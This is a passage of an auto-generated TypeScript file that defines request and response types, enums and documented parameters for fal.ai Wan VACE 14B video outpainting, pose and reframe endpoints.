+ +export const inputFalAiWanVace14BOutpaintingSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type InputFalAiWanVace14BOutpaintingSamplerEnumKey = + (typeof inputFalAiWanVace14BOutpaintingSamplerEnum)[keyof typeof inputFalAiWanVace14BOutpaintingSamplerEnum] + +export type InputFalAiWanVace14BOutpainting = { + /** + * @description Whether to expand the video to the top. + * @default false + * @example true + * @type boolean | undefined + */ + expand_top?: boolean + /** + * @description Amount of expansion. This is a float value between 0 and 1, where 0.25 adds 25% to the original video size on the specified sides. + * @minimum 0 + * @maximum 1 + * @default 0.25 + * @example 0.25 + * @type number | undefined + */ + expand_ratio?: number + /** + * @description Whether to expand the video to the right. + * @default false + * @example true + * @type boolean | undefined + */ + expand_right?: boolean + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanVace14BOutpaintingAspectRatioEnumKey + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWanVace14BOutpaintingResolutionEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanVace14BOutpaintingVideoWriteModeEnumKey + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWanVace14BOutpaintingTransparencyModeEnumKey + /** + * @description If true, the number of frames in the generated video will match the number of frames in the input video. If false, the number of frames will be determined by the num_frames parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_num_frames?: boolean + /** + * @description Frames per second of the generated video. Must be between 5 to 30. Ignored if match_input_frames_per_second is true. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWanVace14BOutpaintingAccelerationKey | null + /** + * @description The text prompt to guide video generation. + * @example A lone woman strides through the neon-drenched streets of Tokyo at night. Her crimson dress, a vibrant splash of color against the deep blues and blacks of the cityscape, flows slightly with each step. A tailored black jacket, crisp and elegant, contrasts sharply with the dress's rich texture. Medium shot: The city hums around her, blurred lights creating streaks of color in the background. Close-up: The fabric of her dress catches the streetlight's glow, revealing a subtle silk sheen and the intricate stitching at the hem. Her black jacket’s subtle texture is visible – a fine wool perhaps, with a matte finish. The overall mood is one of quiet confidence and mystery, a vibrant woman navigating a bustling, nocturnal landscape. High resolution 4k. + * @type string + */ + prompt: string + /** + * @description The minimum frames per second to downsample the video to. This is used to help determine the auto downsample factor to try and find the lowest detail-preserving downsample factor. The default value is appropriate for most videos, if you are using a video with very fast motion, you may need to increase this value. If your video has a very low amount of motion, you could decrease this value to allow for higher downsampling and thus longer sequences. + * @minimum 1 + * @maximum 60 + * @default 15 + * @example 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description URLs to source reference image. If provided, the model will use this image as reference. + * @type array | undefined + */ + ref_image_urls?: string[] + /** + * @description Number of frames to generate. Must be between 81 to 241 (inclusive). + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If true, the frames per second of the generated video will match the input video. If false, the frames per second will be determined by the frames_per_second parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_frames_per_second?: boolean + /** + * @description Temporal downsample factor for the video. This is an integer value that determines how many frames to skip in the video. A value of 0 means no downsampling. For each downsample factor, one upsample factor will automatically be applied. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + temporal_downsample_factor?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL to the source video file. Required for outpainting. + * @example https://storage.googleapis.com/falserverless/web-examples/wan/t2v.mp4 + * @type string + */ + video_url: string + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL to the last frame of the video. If provided, the model will use this frame as a reference. + */ + last_frame_url?: string | null + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to expand the video to the left. + * @default false + * @example true + * @type boolean | undefined + */ + expand_left?: boolean + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanVace14BOutpaintingInterpolatorModelEnumKey + /** + * @description Whether to expand the video to the bottom. + * @default false + * @example true + * @type boolean | undefined + */ + expand_bottom?: boolean + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description If true, the model will automatically temporally downsample the video to an appropriate frame length for the model, then will interpolate it back to the original frame length. + * @default false + * @example false + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanVace14BOutpaintingVideoQualityEnumKey + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of frames to interpolate between the original frames. A value of 0 means no interpolation. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description URL to the first frame of the video. If provided, the model will use this frame as a reference. + */ + first_frame_url?: string | null + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWanVace14BOutpaintingSamplerEnumKey +} + +export type File30135414 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type VideoFileE8B8E0B9 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiWanVace14BOutpainting = { + /** + * @description ZIP archive of all video frames if requested. + */ + frames_zip?: File30135414 | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated outpainting video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-vace-outpainting-output.mp4"} + * @type object + */ + video: VideoFileE8B8E0B9 +} + +export const inputFalAiWanVace14BPoseTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWanVace14BPoseTransparencyModeEnumKey = + (typeof inputFalAiWanVace14BPoseTransparencyModeEnum)[keyof typeof inputFalAiWanVace14BPoseTransparencyModeEnum] + +export const inputFalAiWanVace14BPoseResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanVace14BPoseResolutionEnumKey = + (typeof inputFalAiWanVace14BPoseResolutionEnum)[keyof typeof inputFalAiWanVace14BPoseResolutionEnum] + +export const inputFalAiWanVace14BPoseVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanVace14BPoseVideoWriteModeEnumKey = + (typeof inputFalAiWanVace14BPoseVideoWriteModeEnum)[keyof typeof inputFalAiWanVace14BPoseVideoWriteModeEnum] + +export const inputFalAiWanVace14BPoseAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWanVace14BPoseAspectRatioEnumKey = + (typeof inputFalAiWanVace14BPoseAspectRatioEnum)[keyof typeof inputFalAiWanVace14BPoseAspectRatioEnum] + +export const inputFalAiWanVace14BPoseAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWanVace14BPoseAccelerationKey = + (typeof inputFalAiWanVace14BPoseAcceleration)[keyof typeof inputFalAiWanVace14BPoseAcceleration] + +export const inputFalAiWanVace14BPoseInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWanVace14BPoseInterpolatorModelEnumKey = + (typeof inputFalAiWanVace14BPoseInterpolatorModelEnum)[keyof typeof inputFalAiWanVace14BPoseInterpolatorModelEnum] + +export const inputFalAiWanVace14BPoseVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanVace14BPoseVideoQualityEnumKey = + (typeof inputFalAiWanVace14BPoseVideoQualityEnum)[keyof typeof inputFalAiWanVace14BPoseVideoQualityEnum] + +export const inputFalAiWanVace14BPoseSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type InputFalAiWanVace14BPoseSamplerEnumKey = + (typeof inputFalAiWanVace14BPoseSamplerEnum)[keyof typeof inputFalAiWanVace14BPoseSamplerEnum] + +export type InputFalAiWanVace14BPose = { + /** + * @description Whether to preprocess the input video. + * @default false + * @example false + * @type boolean | undefined + */ + preprocess?: boolean + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWanVace14BPoseTransparencyModeEnumKey + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWanVace14BPoseResolutionEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanVace14BPoseVideoWriteModeEnumKey + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanVace14BPoseAspectRatioEnumKey + /** + * @description If true, the number of frames in the generated video will match the number of frames in the input video. If false, the number of frames will be determined by the num_frames parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_num_frames?: boolean + /** + * @description Frames per second of the generated video. Must be between 5 to 30. Ignored if match_input_frames_per_second is true. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWanVace14BPoseAccelerationKey | null + /** + * @description The text prompt to guide video generation. For pose task, the prompt should describe the desired pose and action of the subject in the video. + * @example A sharply dressed man walks toward the camera down a sun-drenched hallway. Medium shot: He's framed from the knees up, his confident stride filling the frame. His navy blue business suit is impeccably tailored, the fabric subtly shimmering under the light streaming through the tall, arched windows lining the hallway. Close-up: The rich texture of the suit's wool is visible, each thread reflecting the light. His crisp white shirt contrasts beautifully with the deep crimson of his silk tie, the knot perfectly formed. The sunlight highlights the subtle sheen of his polished shoes. The windows cast long shadows, highlighting the architectural detail of the hallway, creating a sense of both elegance and movement. High resolution 4k. + * @type string + */ + prompt: string + /** + * @description The minimum frames per second to downsample the video to. This is used to help determine the auto downsample factor to try and find the lowest detail-preserving downsample factor. The default value is appropriate for most videos, if you are using a video with very fast motion, you may need to increase this value. If your video has a very low amount of motion, you could decrease this value to allow for higher downsampling and thus longer sequences. + * @minimum 1 + * @maximum 60 + * @default 15 + * @example 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description If true, the frames per second of the generated video will match the input video. If false, the frames per second will be determined by the frames_per_second parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_frames_per_second?: boolean + /** + * @description Number of frames to generate. Must be between 81 to 241 (inclusive). + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description URLs to source reference image. If provided, the model will use this image as reference. + * @type array | undefined + */ + ref_image_urls?: string[] + /** + * @description Temporal downsample factor for the video. This is an integer value that determines how many frames to skip in the video. A value of 0 means no downsampling. For each downsample factor, one upsample factor will automatically be applied. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + temporal_downsample_factor?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL to the source video file. Required for pose task. + * @example https://storage.googleapis.com/falserverless/example_inputs/wan-vace-pose-video.mp4 + * @type string + */ + video_url: string + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL to the last frame of the video. If provided, the model will use this frame as a reference. + */ + last_frame_url?: string | null + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanVace14BPoseInterpolatorModelEnumKey + /** + * @description If true, the model will automatically temporally downsample the video to an appropriate frame length for the model, then will interpolate it back to the original frame length. + * @default false + * @example false + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description Number of frames to interpolate between the original frames. A value of 0 means no interpolation. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanVace14BPoseVideoQualityEnumKey + /** + * @description URL to the first frame of the video. If provided, the model will use this frame as a reference. + */ + first_frame_url?: string | null + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWanVace14BPoseSamplerEnumKey +} + +export type FileF682A9D3 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type VideoFile66Babec8 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiWanVace14BPose = { + /** + * @description ZIP archive of all video frames if requested. + */ + frames_zip?: FileF682A9D3 | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated pose video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-vace-pose-output.mp4"} + * @type object + */ + video: VideoFile66Babec8 +} + +export const inputFalAiWanVace14BReframeTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWanVace14BReframeTransparencyModeEnumKey = + (typeof inputFalAiWanVace14BReframeTransparencyModeEnum)[keyof typeof inputFalAiWanVace14BReframeTransparencyModeEnum] + +export const inputFalAiWanVace14BReframeAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWanVace14BReframeAspectRatioEnumKey = + (typeof inputFalAiWanVace14BReframeAspectRatioEnum)[keyof typeof inputFalAiWanVace14BReframeAspectRatioEnum] + +export const inputFalAiWanVace14BReframeResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanVace14BReframeResolutionEnumKey = + (typeof inputFalAiWanVace14BReframeResolutionEnum)[keyof typeof inputFalAiWanVace14BReframeResolutionEnum] + +export const inputFalAiWanVace14BReframeVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanVace14BReframeVideoWriteModeEnumKey = + (typeof inputFalAiWanVace14BReframeVideoWriteModeEnum)[keyof typeof inputFalAiWanVace14BReframeVideoWriteModeEnum] + +export const inputFalAiWanVace14BReframeAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWanVace14BReframeAccelerationKey = + (typeof inputFalAiWanVace14BReframeAcceleration)[keyof typeof inputFalAiWanVace14BReframeAcceleration] + +export const inputFalAiWanVace14BReframeInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWanVace14BReframeInterpolatorModelEnumKey = + (typeof inputFalAiWanVace14BReframeInterpolatorModelEnum)[keyof typeof inputFalAiWanVace14BReframeInterpolatorModelEnum] + +export const inputFalAiWanVace14BReframeVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanVace14BReframeVideoQualityEnumKey = + (typeof inputFalAiWanVace14BReframeVideoQualityEnum)[keyof typeof inputFalAiWanVace14BReframeVideoQualityEnum] + +export const inputFalAiWanVace14BReframeSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type InputFalAiWanVace14BReframeSamplerEnumKey = + (typeof inputFalAiWanVace14BReframeSamplerEnum)[keyof typeof inputFalAiWanVace14BReframeSamplerEnum] + +export type InputFalAiWanVace14BReframe = { + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWanVace14BReframeTransparencyModeEnumKey + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanVace14BReframeAspectRatioEnumKey + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWanVace14BReframeResolutionEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanVace14BReframeVideoWriteModeEnumKey + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If true, the number of frames in the generated video will match the number of frames in the input video. If false, the number of frames will be determined by the num_frames parameter. + * @default true + * @example true + * @type boolean | undefined + */ + match_input_num_frames?: boolean + /** + * @description Frames per second of the generated video. Must be between 5 to 30. Ignored if match_input_frames_per_second is true. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWanVace14BReframeAccelerationKey | null + /** + * @description The text prompt to guide video generation. Optional for reframing. + * @default '' + * @example + * @type string | undefined + */ + prompt?: string + /** + * @description Whether to trim borders from the video. + * @default true + * @example true + * @type boolean | undefined + */ + trim_borders?: boolean + /** + * @description Zoom factor for the video. When this value is greater than 0, the video will be zoomed in by this factor (in relation to the canvas size,) cutting off the edges of the video. A value of 0 means no zoom. + * @minimum 0 + * @maximum 0.9 + * @default 0 + * @example 0 + * @type number | undefined + */ + zoom_factor?: number + /** + * @description The minimum frames per second to downsample the video to. This is used to help determine the auto downsample factor to try and find the lowest detail-preserving downsample factor. The default value is appropriate for most videos, if you are using a video with very fast motion, you may need to increase this value. If your video has a very low amount of motion, you could decrease this value to allow for higher downsampling and thus longer sequences. + * @minimum 1 + * @maximum 60 + * @default 15 + * @example 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description If true, the frames per second of the generated video will match the input video. If false, the frames per second will be determined by the frames_per_second parameter. + * @default true + * @example true + * @type boolean | undefined + */ + match_input_frames_per_second?: boolean + /** + * @description Number of frames to generate. Must be between 81 to 241 (inclusive). + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Temporal downsample factor for the video. This is an integer value that determines how many frames to skip in the video. A value of 0 means no downsampling. For each downsample factor, one upsample factor will automatically be applied. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + temporal_downsample_factor?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL to the source video file. This video will be used as a reference for the reframe task. + * @example https://storage.googleapis.com/falserverless/web-examples/wan/t2v.mp4 + * @type string + */ + video_url: string + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL to the last frame of the video. If provided, the model will use this frame as a reference. + */ + last_frame_url?: string | null + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanVace14BReframeInterpolatorModelEnumKey + /** + * @description If true, the model will automatically temporally downsample the video to an appropriate frame length for the model, then will interpolate it back to the original frame length. + * @default false + * @example false + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanVace14BReframeVideoQualityEnumKey + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of frames to interpolate between the original frames. A value of 0 means no interpolation. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description URL to the first frame of the video. If provided, the model will use this frame as a reference. + */ + first_frame_url?: string | null + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWanVace14BReframeSamplerEnumKey +} + +export type File7607910E = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type VideoFileF8A7F187 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiWanVace14BReframe = { + /** + * @description ZIP archive of all video frames if requested. + */ + frames_zip?: File7607910E | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated reframe video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-vace-reframe-output.mp4"} + * @type object + */ + video: VideoFileF8A7F187 +} + +export const inputFalAiWanVaceAppsLongReframeInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWanVaceAppsLongReframeInterpolatorModelEnumKey = + (typeof inputFalAiWanVaceAppsLongReframeInterpolatorModelEnum)[keyof typeof inputFalAiWanVaceAppsLongReframeInterpolatorModelEnum] + +export const inputFalAiWanVaceAppsLongReframeAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWanVaceAppsLongReframeAspectRatioEnumKey = + (typeof inputFalAiWanVaceAppsLongReframeAspectRatioEnum)[keyof typeof inputFalAiWanVaceAppsLongReframeAspectRatioEnum] + +export const inputFalAiWanVaceAppsLongReframeVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanVaceAppsLongReframeVideoWriteModeEnumKey = + (typeof inputFalAiWanVaceAppsLongReframeVideoWriteModeEnum)[keyof typeof inputFalAiWanVaceAppsLongReframeVideoWriteModeEnum] + +export const inputFalAiWanVaceAppsLongReframeTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWanVaceAppsLongReframeTransparencyModeEnumKey = + (typeof inputFalAiWanVaceAppsLongReframeTransparencyModeEnum)[keyof typeof inputFalAiWanVaceAppsLongReframeTransparencyModeEnum] + +export const inputFalAiWanVaceAppsLongReframeAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWanVaceAppsLongReframeAccelerationKey = + (typeof inputFalAiWanVaceAppsLongReframeAcceleration)[keyof typeof inputFalAiWanVaceAppsLongReframeAcceleration] + +export const inputFalAiWanVaceAppsLongReframeSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type 